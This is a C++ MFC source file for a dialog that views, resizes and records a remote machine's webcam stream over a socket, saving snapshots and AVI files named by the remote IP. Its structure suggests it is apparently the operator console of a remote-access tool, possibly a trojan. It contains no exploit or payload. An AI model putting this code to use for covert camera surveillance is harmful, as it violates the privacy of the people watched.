-
Notifications
You must be signed in to change notification settings - Fork 6
/
WebCamDlg.cpp
550 lines (467 loc) · 13.7 KB
/
WebCamDlg.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
// WebCamDlg.cpp : implementation file
//
#include "stdafx.h"
#include "Client.h"
#include "WebCamDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
enum
{
IDM_ENABLECOMPRESS = 0x0010, // 视频压缩
IDM_SAVEDIB, // 保存快照
IDM_SAVEAVI, // 保存录像
IDM_SIZE_176_144, // 视频分辨率, H263只支持这两种
IDM_SIZE_352_288
};
/////////////////////////////////////////////////////////////////////////////
// CWebCamDlg dialog
CWebCamDlg::CWebCamDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(CWebCamDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CWebCamDlg)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
m_iocpServer = pIOCPServer;
m_pContext = pContext;
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_WEBCAM));
m_nCount = 0;
m_lpbmi = NULL;
m_lpScreenDIB = NULL;
m_lpCompressDIB = NULL;
m_pVideoCodec = NULL;
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
m_nOldWidth = 0;
m_nCount = 0;
ResetScreen();
}
void CWebCamDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CWebCamDlg)
// NOTE: the ClassWizard will add DDX and DDV calls here
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CWebCamDlg, CDialog)
//{{AFX_MSG_MAP(CWebCamDlg)
ON_WM_CLOSE()
ON_WM_PAINT()
ON_WM_SYSCOMMAND()
ON_WM_SHOWWINDOW()
ON_WM_SIZE()
ON_MESSAGE(WM_GETMINMAXINFO, OnGetMiniMaxInfo)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CWebCamDlg message handlers
void CWebCamDlg::OnReceive()
{
CString str;
str.Format("\\\\%s %d * %d 第%d帧 %d%%", m_IPAddress, m_lpbmi->bmiHeader.biWidth, m_lpbmi->bmiHeader.biHeight,
m_nCount, m_pContext->m_nTransferProgress);
SetWindowText(str);
}
void CWebCamDlg::OnReceiveComplete()
{
m_nCount++;
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_WEBCAM_DIB:
DrawDIB();
break;
case TOKEN_WEBCAM_BITMAPINFO: // 视频大小调整成功
ResetScreen();
break;
default:
// 传输发生异常数据
SendException();
break;
}
}
bool CWebCamDlg::SaveSnapshot()
{
CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.bmp");
CFileDialog dlg(FALSE, "bmp", strFileName, OFN_OVERWRITEPROMPT, "位图文件(*.bmp)|*.bmp|", this);
if(dlg.DoModal () != IDOK)
return false;
BITMAPFILEHEADER hdr;
LPBITMAPINFO lpbi = m_lpbmi;
CFile file;
if (!file.Open( dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate))
{
MessageBox("文件保存失败");
return false;
}
// BITMAPINFO大小
int nbmiSize = sizeof(BITMAPINFOHEADER) + (lpbi->bmiHeader.biBitCount > 16 ? 1 : (1 << lpbi->bmiHeader.biBitCount)) * sizeof(RGBQUAD);
// Fill in the fields of the file header
hdr.bfType = ((WORD) ('M' << 8) | 'B'); // is always "BM"
hdr.bfSize = lpbi->bmiHeader.biSizeImage + sizeof(hdr);
hdr.bfReserved1 = 0;
hdr.bfReserved2 = 0;
hdr.bfOffBits = sizeof(hdr) + nbmiSize;
// Write the file header
file.Write(&hdr, sizeof(hdr));
file.Write(lpbi, nbmiSize);
// Write the DIB header and the bits
file.Write(m_lpScreenDIB, lpbi->bmiHeader.biSizeImage);
file.Close();
return true;
}
void CWebCamDlg::SaveAvi()
{
CMenu *pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu->GetMenuState(IDM_SAVEAVI, MF_BYCOMMAND) & MF_CHECKED)
{
pSysMenu->CheckMenuItem(IDM_SAVEAVI, MF_UNCHECKED);
m_aviFile = "";
m_aviStream.Close();
return;
}
CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.avi");
CFileDialog dlg(FALSE, "avi", strFileName, OFN_OVERWRITEPROMPT, "视频文件(*.avi)|*.avi|", this);
if(dlg.DoModal () != IDOK)
return;
m_aviFile = dlg.GetPathName();
if (!m_aviStream.Open(m_aviFile, m_lpbmi))
{
m_aviFile = "";
MessageBox("创建录像文件失败");
}
else
{
pSysMenu->CheckMenuItem(IDM_SAVEAVI, MF_CHECKED);
}
}
void CWebCamDlg::SendException()
{
BYTE bBuff = COMMAND_EXCEPTION;
m_iocpServer->Send(m_pContext, &bBuff, 1);
}
BOOL CWebCamDlg::PreTranslateMessage(MSG* pMsg)
{
// TODO: Add your specialized code here and/or call the base class
if (pMsg->message == WM_KEYDOWN && (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE))
{
return true;
}
return CDialog::PreTranslateMessage(pMsg);
}
LRESULT CWebCamDlg::OnGetMiniMaxInfo(WPARAM wParam, LPARAM lparam)
{
// 如果m_MMI已经被赋值
if (m_MMI.ptMaxSize.x > 0)
memcpy((void *)lparam, &m_MMI, sizeof(MINMAXINFO));
return NULL;
}
void CWebCamDlg::InitMMI()
{
RECT rectClient, rectWindow;
GetWindowRect(&rectWindow);
GetClientRect(&rectClient);
ClientToScreen(&rectClient);
// 边框的宽度
int nBorderWidth = rectClient.left - rectWindow.left;
rectWindow.right = rectClient.left + nBorderWidth + m_lpbmi->bmiHeader.biWidth;
rectWindow.bottom = rectClient.top + nBorderWidth + m_lpbmi->bmiHeader.biHeight;
// 调整窗口到远程大小
MoveWindow(&rectWindow);
int nTitleWidth = rectClient.top - rectWindow.top; // 标题栏的高度
int nWidthAdd = nBorderWidth * 2;
int nHeightAdd = nTitleWidth + nBorderWidth;
int nMaxWidth = GetSystemMetrics(SM_CXSCREEN);
int nMaxHeight = GetSystemMetrics(SM_CYSCREEN);
// 最小的Track尺寸
m_MMI.ptMinTrackSize.x = m_lpbmi->bmiHeader.biWidth + nWidthAdd;
m_MMI.ptMinTrackSize.y = m_lpbmi->bmiHeader.biHeight + nHeightAdd;
// 最大化时窗口的位置
m_MMI.ptMaxPosition.x = 1;
m_MMI.ptMaxPosition.y = 1;
// 窗口最大尺寸
m_MMI.ptMaxSize.x = nMaxWidth;
m_MMI.ptMaxSize.y = nMaxHeight;
// 最大的Track尺寸也要改变
m_MMI.ptMaxTrackSize.x = nMaxWidth;
m_MMI.ptMaxTrackSize.y = nMaxHeight;
}
void CWebCamDlg::OnClose()
{
// TODO: Add your message handler code here and/or call default
// 销毁时移除自己在视图中的数据
// 如果正在录像,停止
if (!m_aviFile.IsEmpty())
SaveAvi();
::ReleaseDC(m_hWnd, m_hDC);
DrawDibClose(m_hDD);
// m_pContext->m_Dialog[0] = 0;
closesocket(m_pContext->m_Socket);
if (m_lpbmi)
delete [] m_lpbmi;
if (m_lpScreenDIB)
delete [] m_lpScreenDIB;
if (m_lpCompressDIB)
delete [] m_lpCompressDIB;
if (m_pVideoCodec)
delete m_pVideoCodec;
CDialog::OnClose();
}
BOOL CWebCamDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: Add extra initialization here
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
pSysMenu->AppendMenu(MF_STRING, IDM_ENABLECOMPRESS, "视频压缩(&C)");
pSysMenu->AppendMenu(MF_STRING, IDM_SAVEDIB, "保存快照(&S)");
pSysMenu->AppendMenu(MF_STRING, IDM_SAVEAVI, "保存录像(&V)");
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_SIZE_176_144, "176 * 144");
pSysMenu->AppendMenu(MF_STRING, IDM_SIZE_352_288, "352 * 288");
// 不支持固定的大小,说明远程视频有固定的大小,调整命令失效
if ((m_lpbmi->bmiHeader.biWidth != 352 && m_lpbmi->bmiHeader.biWidth != 288)
&& (m_lpbmi->bmiHeader.biWidth != 176 && m_lpbmi->bmiHeader.biWidth != 144))
{
pSysMenu->EnableMenuItem(IDM_SIZE_176_144, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
pSysMenu->EnableMenuItem(IDM_SIZE_352_288, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
}
else
pSysMenu->CheckMenuRadioItem(IDM_SIZE_176_144, IDM_SIZE_352_288, IDM_SIZE_352_288, MF_BYCOMMAND);
}
CString str;
str.Format("\\\\%s %d * %d", m_IPAddress, m_lpbmi->bmiHeader.biWidth, m_lpbmi->bmiHeader.biHeight);
SetWindowText(str);
// 初始化窗口大小结构
InitMMI();
m_hDD = DrawDibOpen();
m_hDC = ::GetDC(m_hWnd);
// 通知远程控制端对话框已经打开
BYTE bToken = COMMAND_NEXT;
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
}
void CWebCamDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
CMenu* pSysMenu = GetSystemMenu(FALSE);
switch (nID)
{
case IDM_ENABLECOMPRESS:
{
bool bIsChecked = pSysMenu->GetMenuState(IDM_ENABLECOMPRESS, MF_BYCOMMAND) & MF_CHECKED;
pSysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
bIsChecked = !bIsChecked;
BYTE bToken = COMMAND_WEBCAM_ENABLECOMPRESS;
if (!bIsChecked)
bToken = COMMAND_WEBCAM_DISABLECOMPRESS;
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
}
break;
case IDM_SAVEDIB:
SaveSnapshot();
break;
case IDM_SAVEAVI:
SaveAvi();
break;
case IDM_SIZE_176_144:
{
if (SendResetScreen(176, 144))
pSysMenu->CheckMenuRadioItem(IDM_SIZE_176_144, IDM_SIZE_352_288, IDM_SIZE_176_144, MF_BYCOMMAND);
}
break;
case IDM_SIZE_352_288:
{
if (SendResetScreen(352, 288))
pSysMenu->CheckMenuRadioItem(IDM_SIZE_176_144, IDM_SIZE_352_288, IDM_SIZE_352_288, MF_BYCOMMAND);
}
break;
default:
CDialog::OnSysCommand(nID, lParam);
}
}
void CWebCamDlg::SendNext()
{
BYTE bToken = COMMAND_NEXT;
m_iocpServer->Send(m_pContext, &bToken, 1);
}
void CWebCamDlg::DrawDIB()
{
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu == NULL)
return;
// token + IsCompress + m_fccHandler + DIB
int nHeadLen = 1 + 1 + 4;
LPBYTE lpBuffer = m_pContext->m_DeCompressionBuffer.GetBuffer();
UINT nBufferLen = m_pContext->m_DeCompressionBuffer.GetBufferLen();
if (lpBuffer[1] == 0) // 没有经过H263压缩的原始数据,不需要解码
{
// 第一次,没有压缩,说明服务端不支持指定的解码器
if (m_nCount == 1)
{
pSysMenu->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
}
pSysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_UNCHECKED);
memcpy(m_lpScreenDIB, lpBuffer + nHeadLen, nBufferLen - nHeadLen);
}
else // 解码
{
InitCodec(*(LPDWORD)(lpBuffer + 2));
if (m_pVideoCodec != NULL)
{
pSysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_CHECKED);
memcpy(m_lpCompressDIB, lpBuffer + nHeadLen, nBufferLen - nHeadLen);
m_pVideoCodec->DecodeVideoData(m_lpCompressDIB, nBufferLen - nHeadLen,
(LPBYTE)m_lpScreenDIB, NULL, NULL);
}
}
OnPaint();
}
void CWebCamDlg::InitCodec(DWORD fccHandler)
{
if (m_pVideoCodec != NULL)
return;
m_pVideoCodec = new CVideoCodec;
if (!m_pVideoCodec->InitCompressor(m_lpbmi, fccHandler))
{
delete m_pVideoCodec;
// 置NULL, 发送时判断是否为NULL来判断是否压缩
m_pVideoCodec = NULL;
// 通知服务端不启用压缩
BYTE bToken = COMMAND_WEBCAM_DISABLECOMPRESS;
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
GetSystemMenu(FALSE)->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
}
}
bool CWebCamDlg::SendResetScreen(int nWidth, int nHeight)
{
if (GetSystemMenu(FALSE)->GetMenuState(IDM_SAVEAVI, MF_BYCOMMAND) & MF_CHECKED)
{
MessageBox("正在录像中,不能调整视频大小");
return false;
}
BYTE bPacket[9];
bPacket[0] = COMMAND_WEBCAM_RESIZE;
*((LPDWORD)&bPacket[1]) = nWidth;
*((LPDWORD)&bPacket[5]) = nHeight;
m_iocpServer->Send(m_pContext, bPacket, sizeof(bPacket));
return true;
}
void CWebCamDlg::ResetScreen()
{
if (m_lpbmi)
{
delete m_lpbmi;
m_lpbmi = NULL;
}
if (m_lpScreenDIB)
{
delete m_lpScreenDIB;
m_lpScreenDIB = NULL;
}
if (m_lpCompressDIB)
{
delete m_lpCompressDIB;
m_lpCompressDIB = NULL;
}
if (m_pVideoCodec)
{
delete m_pVideoCodec;
m_pVideoCodec = NULL;
}
int nBmiSize = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
m_lpbmi = (LPBITMAPINFO) new BYTE[nBmiSize];
memcpy(m_lpbmi, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBmiSize);
m_lpScreenDIB = new BYTE[m_lpbmi->bmiHeader.biSizeImage];
m_lpCompressDIB = new BYTE[m_lpbmi->bmiHeader.biSizeImage];
memset(&m_MMI, 0, sizeof(MINMAXINFO));
if (IsWindowVisible())
InitMMI();
}
void CWebCamDlg::OnPaint()
{
// TODO: Add your message handler code here
CPaintDC dc(this); // device context for painting
RECT rect;
GetClientRect(&rect);
// StretchDIBits不好用,有些时候会画不出来
/*
StretchDIBits
(
m_hDC,
0, 0, rect.right, rect.bottom,
0, 0, m_lpbmi->bmiHeader.biWidth, m_lpbmi->bmiHeader.biHeight,
(LPBYTE)m_lpScreenDIB,
m_lpbmi,
DIB_RGB_COLORS,
SRCCOPY
);
*/
DrawDibDraw
(
m_hDD,
m_hDC,
0, 0,
rect.right, rect.bottom,
(LPBITMAPINFOHEADER)m_lpbmi,
m_lpScreenDIB,
0, 0,
m_lpbmi->bmiHeader.biWidth, m_lpbmi->bmiHeader.biHeight,
DDF_SAME_HDC
);
LPCTSTR lpTipsString = "Recording ...";
// 写入录像文件
if (!m_aviFile.IsEmpty())
{
m_aviStream.Write(m_lpScreenDIB);
// 提示正在录像
SetBkMode(m_hDC, TRANSPARENT);
SetTextColor(m_hDC, RGB(0xff,0x00,0x00));
TextOut(m_hDC, 0, 0, lpTipsString, lstrlen(lpTipsString));
}
// Do not call CDialog::OnPaint() for painting messages
}
void CWebCamDlg::OnShowWindow(BOOL bShow, UINT nStatus)
{
CDialog::OnShowWindow(bShow, nStatus);
// TODO: Add your message handler code here
}
void CWebCamDlg::OnSize(UINT nType, int cx, int cy)
{
CDialog::OnSize(nType, cx, cy);
if (!IsWindowVisible())
return;
// 按比例调整窗口大小
int x = m_lpbmi->bmiHeader.biWidth, y = m_lpbmi->bmiHeader.biHeight; // x:y
RECT rectClientToScreen, rectClient, rectWindow;
GetWindowRect(&rectWindow);
GetClientRect(&rectClient);
GetClientRect(&rectClientToScreen);
ClientToScreen(&rectClientToScreen);
// 边框的宽度
int nBorderWidth = rectClientToScreen.left - rectWindow.left;
int nWindowWidth = rectWindow.right - rectWindow.left;
int nWindowHeight = rectWindow.bottom - rectWindow.top;
// 宽发生变化
if (m_nOldWidth != nWindowWidth)
rectWindow.bottom = rectClientToScreen.top + nBorderWidth + (rectClient.right * y) / x;
else
rectWindow.right = rectClientToScreen.left + nBorderWidth + (rectClient.bottom * x) / y;
m_nOldWidth = nWindowWidth;
MoveWindow(&rectWindow);
OnPaint();
// TODO: Add your message handler code here
}
void CWebCamDlg::PostNcDestroy()
{
// TODO: Add your specialized code here and/or call the base class
delete this;
CDialog::PostNcDestroy();
}